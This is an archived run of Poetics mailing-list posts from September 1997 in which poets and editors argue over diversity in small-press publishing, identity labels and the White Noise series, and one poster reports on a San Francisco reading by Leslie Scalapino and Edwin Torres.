Sun 28 Sep 1997

Oops sorry.. I'm still getting used to a new mail program on a new operating system, etc. etc. mas mea culpa.

Tim

↑ Index

556. **mark weiss**
Re: The Name & the Paradox of its Contents
Sun 28 Sep 1997

Dodie, you've just disallowed, or caused to be seen as tainted, almost every means to communicate about these issues. Not every writer could accomplish that in so few words.

At 02:48 PM 9/28/97 -0700, you wrote:
>At 5:27 PM -0400 9/28/97, Sylvester Pollet wrote:
>>I do know that I have to at least like the stuff I publish
>>simply because I can't afford to publish everything. Too much time & money
>>goes into it, and it's my time & money!
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>This comment reminds of a couple of other comments on this list regarding
>funding and the imperative to strive for some kind of racial/sexual
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>imperative to be open to a broader range of possibilities. Dale says he
>only has 90 pages so he can't diversity, yet he criticizes Chain, which
>does diversify, for being too long. ?????????
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>I also find offensive here that people have been bragging about the people
>of color whom they know and/or have published--I mean how condescending can
>you get. I think Hoa is much too nice to this list in her posts. Nobody
>wants to be turned into a pet.
>
>I'm much moved by Maria's last post, the honesty of it, concerning her
>struggles to learn to be open/empathetic.
>
>Dodie
>
>

↑ Index

557. **Sylvester Pollet**

Re: The Name & the Paradox of its Contents

Sun 28 Sep 1997

Dodie, it's true that I'm a guy on the list. I didn't say anything about "people of color" (a phrase I never use, because it's as bad as "colored people," in my estimation. I'm open to all sorts of possibilities, I hope, and love moral imperatives. I don't even require that the people I publish use words. Don't lump people to bash them, do it one-by -one. That's a good moral imperative, isn't it? I mean, if bash you must?

> *At 5:27 PM -0400 9/28/97, Sylvester Pollet wrote:*
> *I do know that I have to at least like the stuff I publish*
> *simply because I can't afford to publish everything. Too much time & money*
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>
> *I'm much moved by Maria's last post, the honesty of it, concerning her struggles to learn to be open/empathetic.*
>
> *Dodie*

↑ Index

558. **Joe Amato/Kass Fleisher**
Re: The Name & the Paradox of its Contents
Sun 28 Sep 1997

---

oh no, we're gonna have a pissing contest again!...

listen folks, sylvester and dodie and and and: "people of color," whatever its problems, is not no way uh-uh publicly understood (as a rule) as "as bad as colored people"... and "gender," no matter how much you may dislike same (and lord knows why, b/c the word has a history of usage that's quite specific and specifically useful and does something different than "sexual") is a perfectly legit way to deal with issues of GENDER...

SHEESH

can we please exhibit a bit more... patience mebbe? for one another's locutions?... i mean, we hang in different parts of the world, i take it... ok by me... but that don't mean we can't be a bit more

go a bit more

gently, gently

pretty please?///

best,

joe

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559. **DS**
Re: The Name & the Paradox of its Contents
Sun 28 Sep 1997

Yup, as English IS the language of the oppressors we should stop using english. Or even semaphore, morse. Perhaps all talk in sign language. Sorry for the

facisiousness, i don't think she has at all. Just pointed out the cringe factor in phrases such as my "black friend" or my "my gay friend". Not something i have ever been guilty of as i don't have any friends. - Also not something anyone has really been doing. I feel mt cannon has come loose & crashed right across the deck leaving a large briney sucking yawing (ing) hole in me larboard side. ARgh, i wish i had Jack Spanhide to drift behind.

no one

At 03:34 PM 9/28/97 -0700, you wrote:
>Dodie, you've just disallowed, or caused to be seen as tainted, almost
>every means to communicate about these issues. Not every writer could
>accomplish that in so few words.
>
>At 02:48 PM 9/28/97 -0700, you wrote:

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560. Reuben Radding
News of the Weird
Sun 28 Sep 1997

To the fellow who credited "News of the Weird" to Joe Bob Briggs, actually Mr Briggs is the publisher of We Are The Weird. NOTW is a column by Chuck Sheppard.

-Reuben Radding
[redacted]

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561. Kali Tal
Re: The Name & the Paradox of its Contents
Sun 28 Sep 1997

> *I also find offensive here that people have been bragging about the people of color whom they know and/or have published--I mean how condescending can you get.*

"Brag: to talk boastfully about oneself. 'Boast' is the most general of the verbs for the expression of vanity, primarily by vocal means. 'Brag,' used in more informal contexts, implies exaggerated claims, blatancy, and oftenan air of insolence." -- _American Heritage Dictionary of the American Language_

Seems to me that what we've got here is a group of people trying to speak honestly and carefully about a loaded, emotional minefield of a subject in which everyone has a personal stake.

I wrote:

> *My African American*
> *friends who are poets send me poetry by *their* friends, who are often African American. But--at least in my experience--all this diversity has to be based on *real* relationships, real friendships and collegial connections between people who genuinely like and respect and try to understand each other. My immediate assumption, as a white person, is that when I make a new contact with a person of color, the burden of proof is on *me* to demonstrate, over a period of time, that I do have a genuine liking and respect for the person and his/her work, and that I'm *not* simply "collecting" token poets or token friends to feed my own image. After a while my intentions become clear and that's a basis for building mutual trust and respect (a process which is neverending). Takes a lot of time and energy. But then, don't all friendships?*

so I assume Dodie is not referring to me, since I explicitly state that I'm not interested in token poets or token friends. But I can't figure out who else might be her target here, since I haven't noticed anyone who might be doing anything akin to "bragging." Wrestling, maybe. But not bragging.

As a white African Americanist, I'm used to people looking at me funny when I talk about African American culture(s) or African American poetry, or even my African American friends. My black friends. My friends who are persons of color. Liberal types are so hyped up to cringe when they hear echoes of "some of my best friends are 'X'" that they can't hardly hear "my friend who is African American" without assuming it's some sort of trophy claim. What? Am I supposed to have black friends without acknowledging, somehow, that they are black? That being black matters to them and, therefore, matters to me? What sort of friend would I be then? How could we talk to each other about our lives? Or am I supposed to be satisfied with having no black friends because every time I seek the company of an African American colleague some people are going to presume that I'm doing it *just* because she's black? I quit worrying what other people think about this stuff a long, long time ago. I know who my friends are, and they know who I am, and that's how we play it, and if I've got anything to prove, I need to prove it to my friends and not to a stranger who hears ghosts in my words.

Friendship is about caring enough for another person to want to understand who and what they are, when and where they enter--it's about caring enough to try to put your own shit aside for a while and deal with *their* shit. It's about recognizing the distance between you as well as the points of contact. It's about... well, dammit, it's about love. Just as, for me, poetry is about love. In that sense, I approach poems and people the same way. I take them in context, try to understand where they come from, the traditions upon which they draw, their relative power, their interests and agendas, the stucture of their

understanding of the world, the grace with which they move through that world, the payment they demand, the gifts that they bear. And if I feel that diversity--in people and in poetry--increases the richness and the beauty and the pain and the intensity of the life that I live, and if I want to sing the praises of such diversity, of that kind of love, why is that a problem?

And sure I know that I've got privileges my African American friends will never have--and they know that too, you better believe it. I know I don't like it, but they know and I know that pretending I don't have those privileges benefits nobody, while using them to open doors when I can, and not abusing them at all other times is the responsibility I bear for being born privileged and the absolute minimum qualification I've got to meet before I'm worthy of their friendship... or anybody else's. Another way I interpret that responsibility is to carry my friends--all of them--always with me, and to never complacently inhabit places where they are not welcome and would not be comfortable. This means, when I'm in an all-white venue, that I can't tolerate the levels of racism which are comfortable for many white people, and which--because they are white --even well-meaning white folks often don't notice. And it means, when I'm in the company of lesbian feminist friends, that I can't tolerate certain kinds of White-HetMale bashing, either. Insisting on diversity is, for me, ensuring that I'll endure a certain level of discomfort in almost any venue, but, on the other hand, it also brings me deep and richly satisfying relationships with very different people. It's all a matter of what's important to you and who you are willing to love.

And why shouldn't we talk about that?

Kali

Kali Tal new WORD order PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com [redacted] (phone & fax)
"Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

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562. **Harold Rhenisch**
Re: A Note on Prejudice
Sun 28 Sep 1997

Randolph,

>I get a feeling that landscape for Catherine is at least four never mind two
>dimensional. That somehow, history leaves a spatial trace. Sounds like
>nonsense, but when actually reading the stuff, that's how it feels.

That's not nonsense.

>It seems too, like one of those optical illusion things, is it a vase? is
it
>a face?, that whichever of the possible multiple readings strikes one at a
>particular time is utterly compelling. Now that _is_ something.

Yes, that is something. I don't know her work, but...this could be a description of most any verse. I gather from your excitement that she is, however, more deliberate than most. Is that right? If so, this deliberateness would be an essential quality of what she is doing. I like that idea. But is it illusion? We could as easily call it a manifestation of quantum theory, if we liked those kind of metaphors, or a particular method of embodying consciousness, if we preferred those. Using the term "optical illusion" is akin to placing consciousness in quotes. Something has to place the quotes. Might as well dive right in and be at sea, because as far as I can ascertain we are anyway.

Thanks for the good insights.

Best,

Harold Rhenisch

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563. **dbkk**
Re: The Name & the Paradox of its Contents
Sun 28 Sep 1997

At 6:35 PM -0500 9/28/97, Joe Amato/Kass Fleisher wrote:

> *can we please exhibit a bit more... patience mebbe? for one another's locutions?... i mean, we hang in different parts of the world, i take it... ok by me... but that don't mean we can't be a bit more*

My question to you Joe, is why would you allow yourself to be published in a series of straight white working class men? Don't you feel you're being turned into a cartoon? I can't talk for people of color but I can talk as a working class person and I certainly wouldn't want to be published as a Working Class Woman. Like yuck.

Don't you feel like your allowing yourself to be victimized by an imperialist?

Dodie

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564. **dbkk**

Stepping into Steve Carll's shoes

Sun 28 Sep 1997

Went to a reading the other night and I saw Steve Carll there. I asked him, why no more reports on Poetics List. (for you who are new to Poetics List I should explain that SF poet Steve Carll used to come on here all the time and give reports on every reading he had been to, and that means plenty!) He shrugged and said he unsubscribed. I said I would try to fill in for him. First Leslie Scalapino read. (I can't remember all the different lines Steve used to quote from, so I will try to describe the story lines instead.) She read six poems from a sequence called "New Time" which I had not heard, then launched into the beginning of something she is calling a detective novel. Its title is "Orchid Jetsam." The two main characters, Grace Abe and Andrew Chen, work in the San Francisco Police Department and are investigating a strange murder case. Abe is additionally burdened (or enhanced) by the fact she is being possessed by the spirit of a Marine slain in the Gulf War Desert Storm who enters her body at inopportune times during the investigation. I asked Scalapino if she was riffing off the "X Files" because it certainly had that spooky the truth is out there kind of feeling about it. She said no, in fact she had never seen the "X Files" and you know something, I believed her! Anyway as usual a reading filled with great theatrical powers of "explaining" those long involved sentences and fragments of sentences, explaining them by keeping them balanced like the balls of the juggler, up in the air till she wants them to come down in the right or skewed places, through the voice and a subtle movement of the fingers of her left hand.

Then Edwin Torres came on. It was an interesting gamble to see if these two poets would work together successfully and one that seemed to invigorate them both. Torres used a boombox to play background chants and orchestral thumps and thwacks while reciting poetry and sounds over the recorded sounds. Many young people in the audience responded favorably to this combination, one woman told me that this was the best reading she had ever heard in her life. The words came often from Torres new book "SandHommeNomadNo" and a forthcoming CD "Holy Kid" (Kill Rock Stars label). Torres who had never read before in San Francisco seemed pleased and abashed by his reception. We will be sorry to see him go back to New York, but around here, nobody stays for very long, they are all dust in the wind. You think you will have stability in your life, but you don't. It's a fact of life in San Francisco that all must deal with sooner or later. The poetry reflects this. Torres was always doing all this formalistic stuff--breaking words down into phonemes and distorting them by combining them, say, with animal imitations or the high energy vernacular of a dozen different NY street cultures-- but it was always infused with emotional intensity and a certain variety of timbre . . . some of the sounds he emitted

could only be heard by dogs. In this way, I feel, his writing appeals to a broad range of people, and when read on the page feels a bit abandoned, as though the reader is getting only half of the dimensions; however, in "SandHommeNomadNo" this lack, or absence, is partially softened--just like life--by typography and in fact--the slowness with which the words are read gives them back the "meaning" they lose in performance.

So, is it six of one and half a dozen of the other? Or 12 of both, either way? And now for the real Steve Carllism, who was in the audience! There were so many people in the audience I didn't recognize half of them. Perhaps they were fans of the spoken word movement, and some were definitely students of Mills College and the Art Institute, places where Scalapino has been teaching lately. And of New College, because students there can get in free (this was a reading sponsored by Small Press Traffic.) I saw Pamela Lu, Rick London, Liz Willis, Peter Gizzi, Mary Margaret Sloan, Rodrigo Toscano, Hung Tu, Mary Burger, Lyn Hejinian, Simone Fattal, Bob Gluck, Jocelyn Saidenburg, Aaron Shurin, Hugh Steinberg, and sixty or seventy others.

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565. **Kali Tal**

Re: The Name & the Paradox of its Contents

Mon 29 Sep 1997

> *My question to you Joe, is why would you allow yourself to be published in a series of straight white working class men? Don't you feel you're being turned into a cartoon? I can't talk for people of color but I can talk as a working class person and I certainly wouldn't want to be published as a Working Class Woman. Like yuck.*

Dodie,

Joe can answer this himself, I'm sure. In fact, we spoke of your post briefly on the phone tonight, since it flashed across my screen as we traded news about our lives and talked about the important stuff--work, relationships, new ideas, hopes, fears, the stories you share with friends. The phone rang almost immediately again after I hung up. It was Renny Christopher, whose book of poetry, _Viet Nam and California_ is now in press and will be the second volume published by Burning Cities / Viet Nam Generation in 1997. I read Renny your post and she started to laugh. Renny is just finishing up the task of editing a special issue on working class studies for the journal _Feminist Studies_. She calls herself a working class poet and a working class scholar and doesn't find the title "yuck" in the least. There's a range of sentiment about the label "working class," just like there's a range of sentiment about any label-- people have different ideas about who they are and how they want to be recognized.

Working Class Studies is a burgeoning field populated (no surprise) mostly by working class scholars, or scholars who identify with or spring from the working class. Working class anthologies (including anthologies of poetry and literature) are showing up all over--the commercial presses may indeed exploit working class writers, but the small press and academic anthologies don't seem to have any trouble filling their pages with good writing by people who are proud to be published as working class writers. Me, I don't have any problem being published as "X", as long as it's done respectfully and I feel that I, as an "X" have some say in the process and by participating gain some personal benefit and some benefit for "X"s in general.

What you're forgetting here, Dodie, is that Joe is a friend of mine. It's you who boils down the White Noise series to some cartoonish population of working class WhiteHetMale poets, not me. I know each of those poets (David Connolly, Elliot Richman, David Vancil, Gerald McCarthy, Joe Amato, Dale Ritterbusch, Philip Jason, M.L. Liebler), and I count each of them a friend, respect each one for who he is and what of himself he is willing to share with me and with his readers. These poets' whiteness and maleness are not the *reasons* for publishing them, and I wouldn't swear that every single one is straight or that each and every one qualifies as "working class," (who am I, after all, to issue certifications?), but there is a unifying theme or "feel" to their work which seems to me well characterized by White Noise. Part of their intensity, and strength is born out of a rejection of a particular stereotype of white maleness, out of a reaction to a cultural location, and there is, in each poet's work, a kind of courage I admire, a level of sensibility and emotion and commitment that seems to me worthy of notice and praise. Most important, though, I think they are all fine poets, and I am proud to have helped to bring their work to an audience. If you read the series, it might give you some insight into my project and a deeper understanding of their work. They are no fools, no dupes, no victims, and would laugh at anyone who told them different.

Why go after me with such ferocity? Or, rather, if you care to go after me with this ferocity, I'd prefer to take it back-channel, to discuss it with you as one human being to another, rather than playing it out as street theater. POETICS has been the site of too many pitched battles between people who would make better allies than enemies. A Sixties scholar, I can't help making a comparison to the splintering of progressive groups like SDS, who spent so much time infighting they weren't left with enough energy or a cohesive enough community to take effective action to change a system everyone in all factions agreed was evil. I've been as guilty (and maybe more guilty) of such infighting as anyone else, but I'm honestly tired of it and I'm no longer going to participate in such struggles.

Peace,
Kali

Kali Tal new WORD order PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com [redacted] (phone & fax)
"Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

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566. Miekal And
Re: A Note on Prejudice
Mon 29 Sep 1997

---

back home, send on the literature

m
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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567. Eliza McGrand
Re: The Name & the Paradox of its Contents
Mon 29 Sep 1997

---

dodie

did you read my post as "bragging about people of color i know?" part of me thinks you can't possibly have gone down THAT path, but after the cycles of wierdness, anything is beginning to seem possible.

if not, sorry to have asked.

if so, go back and read it again. i bring it up as analog to gender inclusion/ exclusion using a parallel situation in my life at present where at first glance, the issue seems racial. and my response is anger, and seems along racial lines. but when i go back and make myself be more objective, make lists and describe this dilemna to very objective, analytic friends, a number of other factors start coming in and soon, it reduces to one group of people blanking out another. not attacking, exactly (though they whisper and snigger occasionally) but having a smooth, flat, reflectant surface whenever they are in proximity to group (in this

case, black, but also older, with kids, largely 1rst/2nd generation immigrants, working, poor, etc being blindsided by group largely opposite in every respect mentioned). as with this, so with the poet first mentioned -- he describes a lack of authentic poetry, turns to one sort, and seems completely obvlivious, blank sided, smooth flat and reflectant-surfaced to an entire, huge body of poetry based on authentic and universal experience (new movement in womens writing). the blindness, non-seeing, may not be as simple as you black/female/other vs. me white/male/my sort. it may not exactly be malice, deserving of and responsive to anger but something more complex.

in support of last thought, i offer the often-seen response of "there is no poetry of X type out there" when shown a huge volume of poetry by, lets say women for this example, of X type with promise for much more. response, more often than not, is another wierd compendium: "oh, wow, this is great" and then responder does not look up any more and a few weeks later, repeats statement about no poetry of X type.

blank spot, smooth reflectant surface, non-seeing... thus, the white women in my school (not all but most) sit at lab one day with one of the black women (and it is black, not "of color" although, interestingly, we have one indian (india) woman who seems to be treated the same as the black women), they'll laugh, share books, have fun, get stuff done, and one hour later, ONE HOUR, and white woman X goes right by her former lab partner at lunch without one single glance and goes to sit next to other white woman she hardly knows.

blank spot? non-seeing? there does'nt seem malice, just blankness... e

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568. Robert Archambeau
Re: walsh, prejudice, etc
Mon 29 Sep 1997

Have been following this discussion with interest, and am working it into my article on Walsh's poetry (along with that of Maurice Scully and Geoffrey Squires). If anyone's interested in my $.02, it will be in the next Notre Dame Review (info at http://www.nd.edu/~english/ndr/ndr.htm). Can't plug that magazine enough (and not just because they let me review books -- there'll be a new Creeley poem in the next issue, too).

Bob

--
Robert Archambeau
Department of English
Lake Forest College

Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

Time ere poems Time ere plighted troth
Nor forward glance nor backward gaze at signs none
 --Brian Coffey

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569. Michael Magee
walsh, prejudice, etc
Mon 29 Sep 1997

Just a note of thanks to Steve Evans for his remarkably thoughtful meditation on reading prejudices. I read it having just visited a good friend, an older poet whom most of us on this list (including myself) would categorize as "mainstream," but whose open-mindedness as a reader I've always appreciated. He told me he'd begun reading Perelman's *Virtual Reality* after someone, in addition to myself, had recommended it. He'd more or less given up on "language poets" long ago. He said, "If two people who aren't dumb tell me I should read something, I figure I've just missed it, that I haven't found a way into the poems yet." That's laconic and 'Yankee' of him, to be sure - a methodology which will keep him from reading any number of worthwhile poets. Still, he was reading Perelman 'hard,' as carefully as he knew how. And, there seemed to be something to this - what we're able to find our way into, who we're able to read with some sense of pleasure, depends so much on how wide our nexus of associations/associates is. Which is to say, poetry is a communicative possibility which depends on a whole host of other communicative acts. Steve's gift seems to be a faith that the communicative acts of others (Walsh for instance) are never intended as monologue, always as dialogue. Anyway, thanks Steve, for letting us eavesdrop.

-Mike.

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570. Douglas Barbour
Re: name, paradox, &c.
Mon 29 Sep 1997

As many have already said, this has been a fine thread, pushing thought, & I too am grateful for all the considered responses.

I am reminded of bpNichol's suggestion that there are a number of different poetics, the researchers, those who learn quickly from them & follow up the original research, those who continue to maintain the classic stances, work through

the continuing possibilities of 'convention' (as with feminismS or postodernismS there are a LOT of conventional sites & states -- we cant situate everyone in one box, even in that third category). I wonder if this doesnt apply to reading too (& perhaps editing as such). I also wonder if we can't move between or among the 'levels' as bp, a most generous reader of everyone, often did. It can be called eclecticism but it doesnt have to be mealylouthed. I like Steve Evan's take because it suggests one of the ways such a move happens. I certainly have learned to 'like' some writing I wasnt sure of through hearing the writer read the work, & have sometimes learned of work I didnt even know existed that way. Always a good moment when that happens.

So what I 'like' & would publish may very well change (broaden?) over time. I have had so many limited definitions of 'good' poetry that some new poem has destroyed, forced me to braoden the definition, over the years. For the work that broke the bias I am always grateful... But the bias is a place to start: having some sense of what touches me, moves me, gets me thinking, etc. And then I need to be open to the possibility that I can change.

In response to Juliana on the 50/50 m/w breakdown in _Chain_, I am reminded of an article by Samuel R Delany some 25 years ago at least, in which he pointed out that, despite his feeling that he was thoroughly 'for' women's equality, he discovered that when he was in a crowd of people & thought the number of women was equal to the number of men, he would count & find that really the percentage of women was between 10% and a high of 25%. So he went into perceptual training & found that after some time when he thought the numbers were equal, it was about 40% women. Yeah.

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
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~~~

571. **Joe Amato/Kass Fleisher**
Re: The Name & the Paradox of its Contents
Mon 29 Sep 1997

dodie, i generally joke with my friends about my own cartoonish qualities... i mean, i love cartoons, can't help mself... i esp. love the rocky/bullwinkle show, and watch the reruns late at night...

it may be that 'my working class ain't your working class' (to paraphrase another book/issue)... but let's see... i think, in general, that categories are necessary conveniences, and therefore dangerous to the extent that they're used reductively...

i'd sure hate to think that my work is reducible to my working-classness or some such... but then, no doubt about it---my working-classness or some such is a strong gradient in *some* of my work...

so let's get up close and personal, ok?...

i published my first poem at 36... my first book of poetry (the one kali published, a coupla years after we'd met and become friends) at 40... i'm not part of the mfa circuit (which is notnotnot intended as a slam of said circuit)---in fact i don't hold the trad. doctorate, i hold a doctor of arts, or d.a., from suny/albany (which some of you academix out there will no doubt understand in terms of its various complications---i'm proud of my degree program, in any case)... kali's commitment to publishing work she liked, incl. work by a group of whitehetmen (tags used advisedly, now) resulted in my book being published, w/o my having to publish in more orthodox OR more avant-garde venues (very little of my book was in print, actually, before the book was published---with the result that that book, if you read it closely, is comprised of older, more trad. work in the front, and newer, less trad. writing toward the 'end'---as ron silliman was so nice to post me about after reading through)...

now: i'm working-class to the extent that both my folks were (though my mother would have graduated college in europe, were it not for the war)... 50s style three bedroom ranch (in the 50s and 60s) until my folks divorced in 68 and my life REALLY began to take on some rather quirky proportions, growing up as i did with my father and brother in an upper flat in a deadended part of edgecity at $75 a month rent (not exactly what you'd call swanky)... twelve years in that place... welfare foodstamps low wages alcoholism culminating in cancer death etc etc etc prior to my even publishing a single fucking poem... well it's almost stereotypical, and in fact not working-class at all---it's poverty line... but me, i worked only summer jobs that could be called working class---my aspirations as a worker were directed at salary positions (the only way 'out' was a career in engineering), and these aspirations raised anxieties in me not

unlike the ones i occasionally feel when i aspire to publishing hither and thither (although i must admit it's much easier for me these days)...

but again, i'd hate anybody to think my work (or aesthetic, or self, or whatever-thefuck) reduced to "working class" or "poverty line"... still, you test me in these terms, you gets what you pays for...

now: since you've given me the opportunity to rant a bit (and really---if you know me at all you'll know that the rough edges in this post are accompanied by a smile---which really tends to piss people off f2f, *sorry*) i may as well take a moment to plug my own, very working-class book (as some will no doubt observe upon reading): _no outlet: an engineer in the works_ (i keep tweaking that subtitle, but i like this one), due out someday i hope on a MAJOR TRADE PRESS, with some real money accompanying the transaction (and hey, i don't even have an agent yet!)... and i hope the motherfucker becomes a motherfucking bestseller, you bet your sweet as i do---

well i'm talking to you *all* now, not just dodie, and you can see how i get mself into trouble with my big fucking mouth...

i mean, kass and i are tens of thousands in debt on plastic, and there's no inheritance in the cards, if you get my drift... and i'm getting real tired of living with this financial pressure, which it seems i've been living with now since forever... i'm certain many of you can relate...

now i have some doubts about my trade press aspirations, some real aesthetic and writing community doubts (in my view, a trade press simply 'buys' an audience for you), but i have to say---with the work nearly complete, in less than a year---i am, to my own surprise, relatively pleased mself with the results, which seem to complicate my 'working class self' even while managing to tell some readable (in a more popular sense) stories...

but hey, i'm the author... and i worry about the reception of my book---that somebody will pigeonhole the book or me as being specifically 'one a those'... but then, the packaging/publishing aspect is, again, a categorical (marketplace) convenience, one that i've tried like hell to keep at arm's length in my own writing (even though of course i know when i'm writing against the popular grain---i've been around that long)... and the work itself will speak either directly or indirectly to all attempts at pigeonholing (i hope directly)... i have confidence, this close to completion, that i'll be ok in this regard... but who knows?---ergo my anxieties re publication, esp. with alla those other memoirs 'out there,' for example...

does this clarify at all?... i hope so, 'cause it's the best i can do at the moment by way of *fleshing out* the sort of situatedness (yes, chi-chi critical vocab. deployed now) in which i locate my various selves...

only a single signature, though///

best,

joe

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572. Laurie Schneider/Crag Hill
Readership and Writing asLived Experience
Mon 29 Sep 1997

Long drive makes me late to these threads:

I find intriguing Kevin Killian's generous/risky practice as editor of publishing a cross-section of work that slides across his desk into his rangefinder. (Mirage is thus always pleasurably eclectic. Aldon Nielsen's lower limit speech has also done this.) Unavoidably, Killian publishes what he likes, yet it seems the emphasis shifts from editorial predilection to what his readers might find provocative. He acts less as filter, more as facilitator. We certainly need magazines like that -- pointing us toward the panoply so we know more about writing than the editor's aesthetic.

Edwin Honig in his call for a poetry of "lived experience" overlooks the fact that writing itself is such. If it isn't, why do it? Granted writing will always be safer than hunkering down in sucking mud with mortar shells dropping, yet it is no less a living act. I think of what Tim O'Brien says in The Things They Carried: Story truth is truer than Happening truth. What occurs in our imaginations as we write and read is more meaningful, more primary/primal, than the historical events that may or may not trigger our imaginations. Poetry about history inevitably becomes simply history. Writers should take us to felt/thought places that have always been and will always be (even those just coming into cognition), no matter how they do it.

Best, Crag

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573. Henry Gould
gender history & the other stuff
Mon 29 Sep 1997

Why not dig myself a deeper foxhole & respond again to Elliza's complaint. She argues or implies that Honig & others like him stereotype experimental women's writing as unhistorical, abstract, unreadable, & on the other hand valorize men's writing, vet's writing, as historical, understandable, in touch with the "authentic" story or stories.

This issue has a long & complex history itself about which I certainly am no authority. I just want to say that in my view the issue of realism, authenticity, representation, history, & empathy need not be divided either along gender lines or experimental/traditional lines. I THINK GOOD WRITING CONTINUALLY CROSSES THESE LINES (as Steve Evan's appreciation of C. Walsh was pointing toward). I think the keynote might be what the "objectivists" pointed toward as a value - sincerity. What is sincerity but a measure of the balance achieved by the artist between "experience" and "art"? If art is a mimesis or re-experiencing of experience filtered or tempered by the understanding - the logos - then this balance is utterly necessary for authentic art. And everything wavers across that plumbline. Between slack repetitions of experience and petty contortions of technique for its own sake lies the plumbline of authentic art.

Now in my own view - not Mr. Honig's - there is a ton of slack writing on BOTH sides of that plumbline. There IS a lot of critical support for "texts" which equate radical innovation with abstract unreadability. Elliza's absolutely right that returning to some kind of group-sanctioned Men's Version of History is both reactionary & ridiculous. So Edwin has a complaint & Elliza has a complaint. Do they have to cancel each other out with mutual caricatures? Where is the joy in reading a pedestrian rehash of misunderstood cliches of so-called experience? Where is the joy in trying to read some pedantic ambitious hypocrite's re-working of styles invented by Pound or Stein & sanctioned by a couple generations of grad schools? Unless the poem itself hits the poet over the head in roughly the same degree of velocity & ferocity that life itself hits us all over the head from day one well I say why read it. - Henry Gould

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574. Hoa Nguyen
working class thread
Mon 29 Sep 1997

Following up on Dodie's post/ Kali response re: working class poets

I don't really understand why Dodie's post was read as an attack on Kali or Joe. Could it be that Dodie was asking a *real* question of Joe? I would like to know how he feels about belonging to the "White Noise" group-- and I imagine that perhaps Joe would welcome the chance to talk about his poetry activities and affiliations (?).

I am wondering 2 things-- How come you would feel yuck published in a "working class women journal", Dodie (a really real question-- I have questions around this for myself in terms of other identity categories) and secondly, how come the response to Dodie's post was a longish defensive complaint, Kali?

questioningly,

hoa

>>My question to you Joe, is why would you allow yourself to be published in
>>a series of straight white working class men? Don't you feel you're being
>>turned into a cartoon? I can't talk for people of color but I can talk as
>>a working class person and I certainly wouldn't want to be published as a
>>Working Class Woman. Like yuck.
>
>Dodie,
>
>Joe can answer this himself, I'm sure. In fact, we spoke of your post
>briefly on the phone tonight, since it flashed across my screen as we
>traded news about our lives and talked about the important stuff--work,
>relationships, new ideas, hopes, fears, the stories you share with friends.
>The phone rang almost immediately again after I hung up. It was Renny
>Christopher, whose book of poetry, _Viet Nam and California_ is now in
>press and will be the second volume published by Burning Cities / Viet Nam
>Generation in 1997. I read Renny your post and she started to laugh.
>Renny is just finishing up the task of editing a special issue on working
>class studies for the journal _Feminist Studies_. She calls herself a
>working class poet and a working class scholar and doesn't find the
>title "yuck" in the least. There's a range of sentiment about the label
>"working class," just like there's a range of sentiment about any label--
>people have different ideas about who they are and how they want to be
>recognized.
>
>Working Class Studies is a burgeoning field populated (no surprise) mostly
>by working class scholars, or scholars who identify with or spring from
>the working class. Working class anthologies (including anthologies
>of poetry and literature) are showing up all over--the commercial
>presses may indeed exploit working class writers, but the small press
>and academic anthologies don't seem to have any trouble filling their

>pages with good writing by people who are proud to be published as
>working class writers. Me, I don't have any problem being published as
>"X", as long as it's done respectfully and I feel that I, as an "X"
have
>some say in the process and by participating gain some personal benefit
>and some benefit for "X"s in general.
>
>What you're forgetting here, Dodie, is that Joe is a friend of mine.
It's
>you who boils down the White Noise series to some cartoonish population
>of working class WhiteHetMale poets, not me. I know each of those
poets
>(David Connolly, Elliot Richman, David Vancil, Gerald McCarthy, Joe
Amato,
>Dale Ritterbusch, Philip Jason, M.L. Liebler), and I count each of them
a
>friend, respect each one for who he is and what of himself he is
willing
>to share with me and with his readers. These poets' whiteness and
maleness
>are not the *reasons* for publishing them, and I wouldn't swear that
every
>single one is straight or that each and every one qualifies as "working
>class," (who am I, after all, to issue certifications?), but there is a
>unifying theme or "feel" to their work which seems to me well
characterized
>by White Noise. Part of their intensity, and strength is born out of a
>rejection of a particular stereotype of white maleness, out of a
reaction
>to a cultural location, and there is, in each poet's work, a kind of
>courage I admire, a level of sensibility and emotion and commitment
that
>seems to me worthy of notice and praise. Most important, though, I
think
>they are all fine poets, and I am proud to have helped to bring their
>work to an audience. If you read the series, it might give you some
insight
>into my project and a deeper understanding of their work. They are no
>fools, no dupes, no victims, and would laugh at anyone who told them
>different.
>
>Why go after me with such ferocity? Or, rather, if you care to go

after
>me with this ferocity, I'd prefer to take it back-channel, to discuss
it
>with you as one human being to another, rather than playing it out as
>street theater. POETICS has been the site of too many pitched battles
>between people who would make better allies than enemies. A Sixties
>scholar, I can't help making a comparison to the splintering of
progressive
>groups like SDS, who spent so much time infighting they weren't left
>with enough energy or a cohesive enough community to take effective
action
>to change a system everyone in all factions agreed was evil. I've been
>as guilty (and maybe more guilty) of such infighting as anyone else,
but
>I'm honestly tired of it and I'm no longer going to participate in such
>struggles.
>
>Peace,
>Kali
>
>
>
>
>
>
>
>Kali Tal new WORD order
>PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com
>[redacted] (phone & fax) "Web Design For Smart
People"
>
>Sixties Project [redacted]
>http://jefferson.village.virginia.edu/sixties
http://www.kalital.com
>

Get Your Private, Free Email at http://www.hotmail.com

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575. **henry gould**
Re: Readership and Writing asLived Experience
Mon 29 Sep 1997

On Mon, 29 Sep 1997 06:38:28 -0700 Crag Hill said:
>
>Edwin Honig in his call for a poetry of "lived experience" overlooks the
>fact that writing itself is such. If it isn't, why do it? Granted writing
>will always be safer than hunkering down in sucking mud with mortar shells
>dropping, yet it is no less a living act. I think of what Tim O'Brien says
>in The Things They Carried: Story truth is truer than Happening truth. What
>occurs in our imaginations as we write and read is more meaningful, more
>primary/primal, than the historical events that may or may not trigger our
>imaginations. Poetry about history inevitably becomes simply history.
>Writers should take us to felt/thought places that have always been and
>will always be (even those just coming into cognition), no matter how they
>do it.

